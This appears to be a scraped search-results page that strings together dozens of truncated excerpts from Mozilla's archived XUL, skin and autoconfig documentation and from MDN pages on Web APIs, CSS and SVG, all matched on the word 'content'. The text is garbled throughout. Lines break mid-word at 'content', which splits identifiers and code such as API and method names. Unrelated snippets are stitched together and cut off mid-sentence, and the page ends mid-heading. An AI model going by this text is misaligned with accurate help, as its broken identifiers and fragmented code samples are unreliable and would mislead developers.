content-example.css 1165 01-01-2010 00:00 defaults/profile/chrome/userchrome-example.css 366 01-01-2010 00:00 defaults/profile/localstore.rdf 569 01-01-2010 00:00 defaults/profile/mimetypes.rdf 76 01-01-2010 00:00 defaults/preferences/firefox-l10n.js 91656 01-01-2010 00:00 defaults/preferences/firefox.js 1593 01-01-2010 00:00 defaults/preferences/firefox...
...x.cfg the way to call it is through autoconf.js file by adding at the end: $ tail -2 /usr/lib/mozilla-1.7-3/defaults/pref/autoconf.js pref("general.config.filename", "mci-mozilla-web-tux.cfg"); pref("general.config.vendor", "mci-mozilla-web-tux"); web base cgi javascript preferences generator file [root@corbeau /var/www/cgi-bin] $ cat mci-mozilla-glob-prefs-tux.cgi #!/usr/bin/perl -w print("
content-type: application/javascript-config\n\n"); $page = <<"eop"; try { var env_user = getenv("user"); var env_home = getenv("home"); var env_mozdebug= getenv("mozilla_debug"); function processldapvalues(values) { var uid = getldapvalue(values, "uid"); var cn = getldapvalue(values, "cn"); var mail = getldapvalue(values, "mail"); lockpref("mail.server.server1.name", mail); l...
... c:\type c:\program files\mozilla.org\mozilla\defaults\pref\autoconf.js pref("general.config.filename", "mci-mozilla-web-win.cfg"); pref("general.config.vendor", "mci-mozilla-web-win"); windows cgi file $ cat mci-mozilla-glob-prefs-win.cgi #!/usr/bin/perl -w print("
content-type: application/javascript-config\n\n"); $page = <<"eop"; try { var env_user = getenv("username"); var env_home = getenv("homepath"); var env_mozdebug= getenv("mozilla_debug"); ...
Getting Started - Archive of obsolete content
make a copy of
contents.rdf and place it in \myskin and open it up in your text editor.
...<rdf:li resource="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:navigator"/> finally, in the last section of the
contents.rdf file we need to tell mozilla what version this skin is compliant with.
...the jar file in the \myskin directory, you should now have the 5 sub-directories along with the
contents.rdf and preview.png files.
...once the zip is created, rename it to myskin.jar
contents of myskin.jar
contents.rdf preview.png \navigator\...
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
classic.jar locations linux: /usr/lib/mozillafirefox/chrome/classic.jar or /usr/lib/firefox-*.*.*/chrome/classic.jar windows: \program files\mozilla firefox\chrome\classic.jar for mac os x: go to your applications folder control click application icon(firefox icon), choose show package
contents.
... go to
contents/macos/chrome/classic.jar copy classic.jar to another easily accessible folder -- classic is recommended -- extract the
contents of that folder, being sure to maintain the directory structure.
...(yes, this means that the structure of your new directory and classic.jar will be slightly different.) creating the install files
contents.rdf make a copy of
contents.rdf, place it in \my_theme and open it up in your text editor.
... repackaging jar now all you need to do is repackage a jar file with the following directory structure, using your favorite archive manager to create a zip archive: /browser/* /communicator/* /global/* /help/* /mozapps/* /
contents.rdf /install.rdf /icon.png /preview.png make sure not to just zip up the my_theme parent directory since that will cause the drag and drop install in the next section to fail without error messages.
Using microformats - Archive of obsolete content
if you want to search the entire document, specify
content.document.
... return value a string that describes the
contents of the specified microformat object.
...if you want to search the entire document, specify
content.document.
...if provided, this is a javascript object that contains zero or more of the following flags: recurseexternalframes if true, child frames that reference external
content are included in the search.
popChallengeResponse - Archive of obsolete content
resultstring = crypto.popchallengeresponse("challengestring"); argument description "challengestring" a base-64 encoded cmmf popodeckeychall
content message.
... the resultstring will either be a base-64 encoded popodeckeyresp
content message, or one of the following error strings: error string description "error:invalidparameter:xxx" the parameter xxx was an invalid value.
... "error:internalerror" the software encountered some internal error, such as out of memory challenge-response proof of possession expected input: popodeckeychall
content ::= sequence of challenge -- one challenge per encryption key certification request (in the -- same order as these requests appear in fullcerttemplates).
... challenge ::= sequence { owf algorithmidentifier optional, -- must be present in the first challenge; may be omitted in any -- subsequent challenge in popodeckeychall
content (if omitted, -- then the owf used in the immediately preceding challenge is -- to be used).
Remotely debugging Firefox for Metro - Archive of obsolete content
on the desktop next, the desktop shows you a dialog that looks something like this: this is asking whether you want to debug web
content running in a browser tab, or to debug the browser code itself.
... you'll see one entry under "available remote tabs" for each open tab, and clicking it will attach the debugging tools to the web
content hosted by that tab.
... if you want to debug your web
content, you'll choose the relevant
content tab.
...the toolbox will open in its own window, attached to the firefox for metro tab that's currently hosting mozilla.org: the toolbox, and the tools it hosts (including the console, debugger, style editor, profiler, etc.), work in just the same way as they do when attached to local
content.
Frequently Asked Questions - Archive of obsolete content
individuals can choose to use a plugin to view svg in mozilla on their own computers, but there is no way for svg
content authors to make mozilla use a plugin when people view the svg files on their website.
...note that this capability was added to support legacy
content.
... the <object> tag should be used in preference to the <embed> tag in new
content whenever possible.
... original document information author(s): jonathan watt last updated date: november 6, 2006 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Table Layout Regression Tests - Archive of obsolete content
warning: the
content of this article may be out of date.
... subject overview changes in layout, parser and
content code can have unintended side effects, also known as regressions.
... <position data="left: auto top: auto right: auto bottom: auto auto 0[0x0]tw null auto 0[0x0]tw null 0 auto " /> <text data="0 0 0 normal normal 0[0x0]tw normal " /> <textreset data="0 10[0xa]enum " /> <display data="0 1 0 0 0 0 0 0 0 0 0 0 " /> <visibility data="0 1 1.000000" /> <table data="0 0 4 -1 1 " /> <tableborder data="1 null null 0 2 " /> <
content data="0 0 0 null " /> <quotes data="0 " /> <ui data="3 0 0 1 " /> <uireset data="7 0 4" /> <xul data="0 0 0 0 0 1 <svg data="0 1.000000 1.000000 0 1.000000" /> </stylecontext> the baseline log will look like: type manifest file: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat +++ javascript debugging hooks installed.
... original document information author(s): bernd mielke other contributors: boris zbarsky last updated date: february 5, 2007 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Binding Attachment and Detachment - Archive of obsolete content
-moz-binding value: none | [,]* <uri> | inherit initial value: none applies to: all elements (not generated
content or pseudo-elements) inherited: no percentages: n/a the value of the -moz-binding property is a set of urls that identify specific bindings.
... when a binding is attached, the following events occur: if required, anonymous
content is cloned from the binding's
content template and inserted around the bound element.
... rule that specifies a different binding the element is removed from the bound document the element is destroyed (e.g., by closing the document) bindings attached through the dom are detached when the following conditions are met: mozbinding style rule is removed the element is destroyed (e.g., by closing the document) when a binding is detached, the following events occur: anonymous
content generated by the binding is destroyed.
...therefore new binding definitions can be generated dynamically or the anonymous
content templates for bindings can be altered and used by the bound document.
Installer Script - Archive of obsolete content
registerchrome(
content | delayed_chrome, getfolder(cf,"toolkit.xpi"),"
content/global/"); 44.
... registerchrome(
content | delayed_chrome, getfolder(cf,"browser.xpi"),"
content/communicator/"); 45.
... registerchrome(
content | delayed_chrome, getfolder(cf,"browser.xpi"),"
content/editor/"); 46.
... registerchrome(
content | delayed_chrome, getfolder(cf,"browser.xpi"),"
content/navigator/"); 47.
popupalign - Archive of obsolete content
« xul reference homepopupaligntype: one of the values belowpopupalign is an optional attribute for specifying which side of the popup
content should be attached to the popupanchor.
... cornertoprightalign to the top right cornerbottomleftalign to the bottom left cornerbottomrightalign to the bottom right cornersyntax<element popupalign="none | topleft | topright | bottomleft | bottomright"/> example<element id="edit-context" popup="editor-popup" popupanchor="topleft" popupalign="bottomright"/> notesthe popupalign attribute can be used to specify which corner of the popup
content is tied to the originating point.
...instead the popup
content comes up directly underneath the mouse event coordinates.
...by default the popup
content appears with its top left point located directly underneath the point at which the user's mouse goes down (on tooltips the
content is displaced by the height of the mouse cursor).
popupanchor - Archive of obsolete content
« xul reference homepopupanchortype: one of the values belowpopupanchor is an optional attribute for specifying where popup
content should be anchored on the element.noneno anchortopleftanchor to the top left cornertoprightanchor to the top right cornerbottomleftanchor to the bottom left cornerbottomrightanchor to the bottom right cornersyntax<element popupanchor="none | topleft | topright | bottomleft | bottomright" /> example<element id="edit-context" popup="editor-popup" popupanchor="topleft" popupalign="bottomright" /> notesthe popupanchor attribute can be used to specify that the popup
content should come up anchored to one of the four corners of the
content object (e.g., the button popping up the
content).
...instead the popup
content comes up directly underneath the mouse event coordinates.
... this point (either directly under the mouse or attached to one of the four corners) is called the originating point.by default the popup
content appears with its top left point located directly underneath the point at which the user's mouse goes down (on tooltips the
content is displaced by the height of the mouse cursor).
... popupanchor works in conjunction with popupalign to position the popup
content on the element.
reserved - Archive of obsolete content
setting this attribute to "true" indicates that the command is reserved for chrome code and is not available for use in the
content.
... this means that, to execute these commands, key events won't be passed to
content, and event listeners registered for them in
content will not be executed.
... currently, the
content still receives these key events, even though it can't override them.
... example here, the command to open a new browser window is reserved: <command id="cmd_newnavigator" oncommand="openbrowserwindow()" reserved="true"/> if the keyboard shortcut for that is accel-t, then this code will not work as expected, as compared to when it is run from web
content: document.addeventlistener("keydown", handlekey, true); function handlekey(event) { // listen for the "new tab" shortcut if (event.metakey && (event.key == "t")) { // log a message console.log("intercepted accel-t"); // prevent the default browser action event.preventdefault(); event.stoppropagation(); } } currently, this event handler as coded above runs and logs the message, but the default behavi...
treecol.type - Archive of obsolete content
the default is a text column that displays the
content as text.
... checkbox the
content of the columns are checkboxes.
... progressmeter the
content of the columns are a progress meters.
... text the
content of the columns is text.
Dynamically modifying XUL-based user interface - Archive of obsolete content
it explains the concept of dom documents, demonstrates a few simple examples of using dom calls to perform basic manipulations on a document, and then demonstrates working with anonymous xbl
content using mozilla-specific methods.
...anonymous
content (xbl) xbl is the language used in mozilla to define new widgets.
... widgets defined in xbl may choose to define some
content which is inserted to the bound element, when the binding is attached.
... this
content, called anonymous
content, is not accessible through normal dom methods.
ContextMenus - Archive of obsolete content
for example, the following will attach a context menu with the id '
contentareacontextmenu' to a browser element: <browser context="
contentareacontextmenu"> indicating the default item on some platforms, one of the items in a context menu is marked as being a default operation.
... var element = aevent.target.triggernode; var isimage = (element instanceof components.interfaces.nsiimageloading
content && element.currenturi); document.getelementbyid("enlarge").hidden = !isimage; document.getelementbyid("details").hidden = !isimage; } </script> <menupopup id="
contentareacontextmenu" onpopupshowing="showhideitems(event)"> <menuitem label="copy"/> <menuitem id="enlarge" label="enlarge image"/> <menuitem id="details" label="image details"/> </menupopup> <browser src="ht...
...tp://www.mozilla.org" context="
contentareacontextmenu"/> when the popupshowing event is fired, the showhideitems function is called.
...the nsiimageloading
content interface is implemented by all types of images.
builder - Archive of obsolete content
« xul reference builder type: nsixultemplatebuilder for
content generated from a template, this is the xpcom object that is responsible for generating the
content.
... for scripts it is only necessary in case you want to force the template
content to be regenerated.
...to rebuild the
content call the builder's rebuild method.
... for example, given a reference to a tree mytree, this example will rebuild its
content: mytree.builder.rebuild(); ...
Template and Tree Listeners - Archive of obsolete content
recall that when a template is rebuilt, all of the existing
content will be removed and generated fresh.
... the willrebuild method of any listeners will be called before the
content is removed, and didrebuild method will be called when the
content has been regenerated.
...since the
content goes away during a rebuild, the selection is lost, so it is restored here during the didrebuild method.
...in a
content builder, it will return the element with the datasources attribute, which in the template builder is referred to as the root element.
XML Templates - Archive of obsolete content
an xml document will be loaded and xpath expressions may be used to take portions of the xml document and generate
content from these.
...the action element defines the
content to generate for each result.
... the
content of the action element will be generated and repeated for each result, which in this case, is a listitem.
... be aware that when xml data is included inline as in this example, the
content may be displayed and may affect the layout of other parts of the window.
textbox (Toolkit autocomplete) - Archive of obsolete content
for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
... textvalue new in thunderbird 15 requires seamonkey 2.12 type: string returns the
content of the textbox.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
Textbox (XPFE autocomplete) - Archive of obsolete content
for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
... textvalue new in thunderbird 15 requires seamonkey 2.12 type: string returns the
content of the textbox.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
Things I've tried to do with XUL - Archive of obsolete content
:) silver: if you set height="0" and include "overflow: hidden" on each box that is sharing the space, current gecko will quite happily split the space out according to flex, ignoring the
contents of each box, as desired.
... resize event problems going with the inability to obtain the clientwidth/clientheight of xul elements, it's impossible to handle the "resize" event yourself to grow/shrink
content as needed -- as you grow the
content, when you shrink the window, the
content will simply be clipped (because now it has a bigger size than the window).
... you have no way of finding out what the clipped size is, so you can never shrink the
content.
...<html:body id="invisible_element" flex="1" > <svg xmlns="http://www.w3.org/2000/svg" version="1.1"><!-- ...or _visible_ xul
content or whatever...
Adding Labels and Images - Archive of obsolete content
if the text needs to wrap, you can place the text
content inside opening and closing tags as in the following example: example 2 : <label>this is some longer text that will wrap onto several lines.</label> as with html, line breaks and extra whitespace are collapsed into a single space.
...as with the label element, you can either use the value attribute for a single line of text or place text or xhtml
content inside opening and closing description tags for longer blocks of text.
... it is more common to use the attribute syntax for labels, and the text
content syntax for descriptions.
...</description> you can set the text via script using the text
content property, as in the following example: <description id="text" width="200"/> document.getelementbyid('text').text
content = "some lengthy word wrapped text goes here."; internally, both the label element and the description elements are the same.
Adding Properties to XBL-defined Elements - Archive of obsolete content
the general syntax is as follows: <binding id="element-name"> <
content> --
content goes here -- </
content> <implementation> <field name="field-name-1"/> <field name="field-name-2"/> <field name="field-name-3"/> <property name="property-name-1"/> <property name="property-name-2"/> <property name="property-name-3"/> .
... <method name="method-name-1"> -- method
content goes here -- </method> .
...in this example, no
content has been placed inside either the xul box or its definition in xbl, which is perfectly valid.
...to do this, add the default value as the
content of the field tag.
Styling a Tree - Archive of obsolete content
this can be used with trees with static
content, rdf built
content or with those with a custom view.
...all of the
content inside the tree's body is rendered by the treechildren element.
... the text '::-moz-tree-row' specifies what
content area is desired, which in this case is a row.
... ::-moz-tree-progressmeter:
content for progressmeter cells.
XUL Coding Style Guidelines - Archive of obsolete content
it could contain xul specific element types for ui controls, html4 markups for
content data, and even javascript for user event handling.
... widget resources
content data style info layout geometry how to make them localizable?
...they are placed above the actual entity string in the format: <!-- localization note (entity.name):
content --> where the <var>entity.name</var> is the entity name (id) for the string (entity value) to be localized, and the
content provides helpful hints to the localizers.
...--> <!-- entity homebtn.label "home" --> properties files are very similar, but use the pound sign instead of <!--<var>xxxxx</var>-->: # localization note entity name :
content we recognize that translation is a subset of localization even though we've consistently referred to our notes as "localization note".
arrowscrollbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a box which provides scroll arrows along its edges for scrolling through the
contents of the box.
...axwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width clicktoscroll type: boolean clicktoscroll, if true, the arrows must be clicked to scroll the scrollbox
content.
... scrollbyindex( lines ) return type: no return value scrolls the
contents of the arrowscrollbox by a certain number of lines.
... scrollbypixels( pixels ) return type: no return value scrolls the
contents of the arrowscrollbox by a certain number of pixels.
description - Archive of obsolete content
</description> this is a long section of text that will not word wrap <description value="this is a long section of text that will not word wrap"> </description> this is a long section of dynamically controlled text that will word wrap <description id="desc" style="width: 300px"></description> document.getelementbyid('desc').text
content = "this is a long section of dynamic message text that will word wrap"; attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute.
...for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
listbox - Archive of obsolete content
if you wish to create a list with variable height rows, or with non-text
content, you should instead use the richlistbox element.
...for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
menu - Archive of obsolete content
pref the preferred width of the menu label or button will be the size needed for the popup
contents.
...for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
menulist - Archive of obsolete content
pref the preferred width of the menu label or button will be the size needed for the popup
contents.
...for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
prefwindow - Archive of obsolete content
for animatefadein to work properly,
contents of prefpanes should be put into overlays.
...moreover this hides separator between titlebar and window
contents.
...moreover this hides separator between titlebar and window
contents.
...therefore, an example call to opensubdialog() would look like this: document.documentelement.opensubdialog("chrome://myextension/
content/options-sub.xul", "", null) issues when using prefpanes in prefwindow when you wish to put non-<prefpane> elements to prefwindow, you should place them after all of <prefpane>s.
splitter - Archive of obsolete content
state type: one of the values below indicates whether the splitter has collapsed
content or not.
... open the
content either before or after the splitter, depending on the value of the collapsed attribute, is currently displayed.
... collapsed the
content either before or after the splitter is collapsed and is not visible.
..." label="date" flex="1"/> <splitter class="tree-splitter"/> </treecols> <treechildren/> </tree> splitter resizing and overflow the degree to which a splitter will resize a box, and what happens during the resize and after the limit is reached, depends on the height (or width) specified for the box as an attribute or in css, the min-height (or min-width), the intrinsic height of the box
contents, and the presence or absence of a collapse attribute on the splitter.
application/http-index-format specification - Archive of obsolete content
content-length base 10 digits representing the size of the file in bytes.
...
content-type mime
content type.
...100: 300: ftp://test.netscape.com/u/montulli 100: 200: filename
content-length
content-type file-type last-modified 201: foo.txt 512 text/plain file tue,%2015%20nov%201994%2008:12:31%20gmt 201: bar.html 9683 text/html file tue,%2025%20oct%201994%2008:12:31%20gmt 201: foobar 0 application/http-index-format directory tue,%2025%20oct%201994%2008:12:31%20gmt original document information author(s): christian biesinger last updated date: may 10, 200...
...4 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 13, 2006 - october 20, 2006 announcements
content filtering, manipulation, and control in firefox 3 an open invitation from myk melez to contribute to the brainstorming of new features for firefox 3 and future firefox releases.
... myk will be paying close attention to features dealing with
content filtering, manipulation and control in ff3.
... method shouldload in "
content-policy" category problem ?
... a student learning xpcom is having issues with the method shouldload in the interface nsl
contentpolicy.
Introduction to Public-Key Cryptography - Archive of obsolete content
certificates and authentication managing certificates certificates and authentication a certificate identifies someone or something authentication confirms an identity how certificates are used
contents of a certificate how ca certificates are used to establish trust a certificate identifies someone or something a certificate is an electronic document used to identify an individual, a server, a company, or some other entity and to associate that identity with a public key.
...similarly, a digital signature on an html form, combined with a certificate that identifies the signer, can provide evidence, after the fact, that the person identified by that certificate did agree to the
contents of the form.
...
contents of a certificate the
contents of certificates are organized according to the x.509 v3 certificate specification, which has been recommended by the international telecommunications union (itu), an international standards body, since 1988.
... users don't usually need to be concerned about the exact
contents of a certificate.
Table Reflow Internals - Archive of obsolete content
content is inserted, appended, or deleted through the dom.
...it gains, loses children) style changed - a target changed stylisticly (recall, size is a style property)
content changed - a target's
content changed (e.g.
... a continuation may also need to be continued continuations are linked together by previnflow and nextinflow pointers pagination illustration nssimplepagesequence nspageframe nspage
contentframe areaframe (html) blockframe (body) nstableouterframe nstableouterframe blockframe (body) areaframe (html) nspage
contentframe continued nspageframe continued intro to paginated reflow the page sequence starts with one page and reflows it.
...the page was incomplete because the page
content was incomplete because the doc root was incomplete the doc root was incomplete because it contained lines that didn't fit (or if it was mapped to a table, because the table didn't fit) becacause a line contained something that didn't fit, etc.
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
this is most obvious in ordered lists, where the number that precedes each list item may be obviously different than the
content that follows it.
... in fact, the markers were set to be a uniform size that did not change to match the
content of the list items, so in rare cases the marker might actually appear to be smaller.
...thus the font sizes of the marker and the
content will be the same.
... authors who are not concerned with making sure the rule applies across all namespaces can use a slightly more simplified rule: *:-moz-list-bullet, *:-moz-list-number {font-size: 1em;} recommendations if it is important to make list item markers match the font size of the
content, use one of the suggested rules.
nsIInProcessContentFrameMessageManager
content/base/public/nsiframemessagemanager.idlnot scriptable ???
... 1.0 66 introduced gecko 2.0 inherits from: nsi
contentframemessagemanager last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsi
content getowner
content(); violates the xpcom interface guidelines methods violates the xpcom interface guidelines getowner
content() nsi
content getowner
content(); parameters none.
... return value the nsi
content object representing the owner's
content.
... see also
content process event handling nsi
contentframemessagemanager ...
ContentIndex.delete() - Web APIs
the delete() method of the
contentindex interface unregisters an item from the currently indexed
content.
... syntax
contentindex.delete(id).then(...); parameters this method receives no parameters.
... examples below is an asynchronous function, that removes an item from the
content index.
... async function unregister
content(article) { // reference registration const registration = await navigator.serviceworker.ready; // feature detect
content index if (!registration.index) return; // unregister
content from index await registration.index.delete(article.id); } the delete method can also be used within the service worker scope.
HTMLContentElement - Web APIs
the html
contentelement interface represents a <
content> html element, which is used in shadow dom.
... html
contentelement.select is a domstring that reflects the select html attribute.
... the value is a comma-separated list of css selectors that select the
content to insert in place of the <
content> element.
... html
contentelement.getdistributednodes() returns a static nodelist of the distributed nodes associated with this <
content> element.
HTMLElement.contentEditable - Web APIs
the
contenteditable property of the htmlelement interface specifies whether or not the element is editable.
... this enumerated attribute can have the following values: 'true' indicates that the element is
contenteditable.
... you can use the htmlelement.is
contenteditable property to test the computed boolean value of this property.
... syntax editable = element.
contenteditable element.
contenteditable = 'true' specifications specification status comment html living standardthe definition of '
contenteditable' in that specification.
PerformanceNavigationTiming.domContentLoadedEventEnd - Web APIs
the dom
contentloadedeventend read-only property returns a timestamp representing the time value equal to the time immediately after the current document's dom
contentloaded event completes.
... syntax perfentry.dom
contentloadedeventend; return value a timestamp representing the time value equal to the time immediately after the current document's dom
contentloaded event completes.
... function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom
content loaded = " + (p.dom
contentloadedeventend - p.dom
contentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other proper...
...ties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'dom
contentloadedeventend' in that specification.
PerformanceNavigationTiming.domContentLoadedEventStart - Web APIs
the dom
contentloadedeventstart read-only property returns a timestamp representing the time value equal to the time immediately before the user agent fires the dom
contentloaded event at the current document.
... syntax perfentry.dom
contentloadedeventstart; return value a timestamp representing the time value equal to the time immediately before the user agent fires the dom
contentloaded event at the current document.
... function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom
content loaded = " + (p.dom
contentloadedeventend - p.dom
contentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other propertie...
...s console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'dom
contentloadedeventstart' in that specification.
PushManager.supportedContentEncodings - Web APIs
the supported
contentencodings read-only property of the pushmanager interface returns an array of supported
content codings that can be used to encrypt the payload of a push message.
... syntax var encodings[] = pushmanager.supported
contentencodings value an array of strings.
... specifications specification status comment push apithe definition of 'supported
contentencodings' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupported
contentencodings experimentalchrome full support 60edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
Range.deleteContents() - Web APIs
the range.delete
contents() method removes the
contents of the range from the document.
... unlike range.extract
contents(), this method does not return a documentfragment containing the deleted
content.
... syntax range.delete
contents() example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); range.delete
contents(); specifications specification status comment domthe definition of 'range.delete
contents()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.delete
contents()' in that specification.
Range.extractContents() - Web APIs
the range.extract
contents() method moves
contents of the range from the document tree into a documentfragment.
... syntax documentfragment = range.extract
contents(); example basic example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); var documentfragment = range.extract
contents(); document.body.appendchild(documentfragment); moving items between containers this example lets you move items between two containers.
...lementbyid('list2'); const button = document.getelementbyid('swap'); button.addeventlistener('click', e => { selection = window.getselection(); for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); if (range.commonancestorcontainer === list1 || range.commonancestorcontainer.parentnode === list1) { const documentfragment = range.extract
contents(); list2.appendchild(documentfragment); } else if (range.commonancestorcontainer === list2 || range.commonancestorcontainer.parentnode === list2) { const documentfragment = range.extract
contents(); list1.appendchild(documentfragment); } } }); result specifications specification status comment domthe definition of 'range.extractcont...
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.extract
contents()' in that specification.
ServiceWorkerGlobalScope: contentdelete event - Web APIs
the
contentdelete event of the serviceworkerglobalscope interface is fired when an item is removed from the indexed
content via the user agent.
... bubbles no cancelable no interface
contentindexevent event handler property on
contentdelete examples the following example uses a
contentdelete event handler to remove cached
content related to the deleted index item.
... self.addeventlistener('
contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/
content/${event.id}`) ]) }) ); }); you can also set up the event handler using the serviceworkerglobalscope.ondelete property: self.on
contentdelete = (event) => { ...
... }; specifications specification status comment unknownthe definition of '
contentdelete' in that specification.
ServiceWorkerGlobalScope.oncontentdelete - Web APIs
the on
contentdelete property of the serviceworkerglobalscope interface is an event handler fired when an item is removed from the indexed
content via the user agent.
... syntax serviceworkerglobalscope.on
contentdelete = function(event) { ...
... }; examples the following example uses a
contentdelete event handler to remove cached
content related to the deleted index item.
... self.addeventlistener('
contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/
content/${event.id}`) ]) }) ); }); specifications specification status comment unknownthe definition of '
contentdelete' in that specification.
Window: DOMContentLoaded event - Web APIs
the dom
contentloaded event fires when the initial html document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
...for full details on this event please see the page on the document: dom
contentloaded event.
...it is a common mistake to use load where dom
contentloaded would be more appropriate.
... examples basic usage window.addeventlistener('dom
contentloaded', (event) => { console.log('dom fully loaded and parsed'); }); specifications specification status html living standard living standard ...
Handling content breaks in multicol - CSS: Cascading Style Sheets
content is broken between column boxes in multiple-column layout in the same way that it is broken between pages in paged media.
... fragmentation basics the css fragmentation specification details how
content breaks between the fragmentation containers, or fragmentainers.
...you can change that value to see the effect on the breaking of the
content.
... when things don’t work as expected if you have small amounts of
content and are trying to control breaks in a number of ways or on several elements, your
content needs to break somewhere, so you may not always get the result you intended.
CSS Generated Content - CSS: Cascading Style Sheets
css generated
content is a module of css that defines how to add
content to an element.
... generated
content can be used to add
content to anonymous replaced elements or replace the
content of a dom node in very limited circumstances with a generated value.
... see the how to guide for generated
content to learn more, and the
content and quotes properties for implementation information.
... reference properties
content quotes specifications specification status comment css generated
content module level 3 working draft css level 2 (revision 1) recommendation initial definition ...
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
modern browsers support using svg within css styles to apply graphical effects to html
content.
... example: masking for example, you can make a gradient mask for html
content using svg and css code similar to the following, inside your html document: <svg height="0"> <mask id="mask-1"> <lineargradient id="gradient-1" y2="1"> <stop stop-color="white" offset="0"/> <stop stop-opacity="0" offset="1"/> </lineargradient> <circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/> <rect x="0.5" y="0.2" width="300" height="100" fill="url(#gr...
... example: clipping this example demonstrates using svg to clip html
content.
...for example, you can resize the circle in the clip path established above: function toggleradius() { var circle = document.getelementbyid("circle"); circle.r.baseval.value = 0.40 - circle.r.baseval.value; } example: filtering this demonstrates applying a filter to html
content using svg.
contentStyleType - SVG: Scalable Vector Graphics
the
contentstyletype attribute specifies the style sheet language for the given document fragment on the <svg> element.
... usage notes value one of the
content types specified in the media types default value text/css animatable no since css is the only widely deployed style sheet language for online styling and it's already defined as default value if
contentstyletype is ommitted, the attribute is not well supported in user agents.
... the use of
contentstyletype is therefore deprecated.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '
contentscripttype' in that specification.
Modules - Archive of obsolete content
in contrast, compartments with
content privileges can only use those features available to ordinary websites.
...otherwise, the compartment will have
content privileges by default.
...if the script being loaded is less privileged than the loading script, the access is prevented, as the following example shows: // index.js: let a = loadscript("www.foo.com/a.js", { components: components }); // index.js has chrome privileges components.utils; // => [object nsxpccomponents_utils] // a.js: // a.js has
content privileges imports.components.utils; // => undefined modules in the add-on sdk the module system used by the sdk is based on what we learned so far: it follows the commonjs specification, which attempts to define a standardized module api.
Contributor's Guide - Archive of obsolete content
content processes a
